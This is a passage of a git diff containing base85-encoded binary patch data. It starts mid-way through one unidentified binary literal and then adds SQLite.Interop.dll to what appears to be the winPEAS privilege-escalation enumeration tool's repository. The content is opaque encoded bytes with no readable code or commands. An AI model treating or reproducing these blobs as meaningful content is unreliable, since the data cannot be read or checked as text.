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 T!!!KHi+na*Kdg9-bZq@UHq3>- literal 0 HcmV?d00001 diff --git a/winPEAS/winPEASexe/winPEAS/costura64/SQLite.Interop.dll b/winPEAS/winPEASexe/winPEAS/costura64/SQLite.Interop.dll new file mode 100644 index 0000000000000000000000000000000000000000..09a12319c10ead841ccb3e466a1f8066e0cf400c GIT binary patch literal 1987256 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 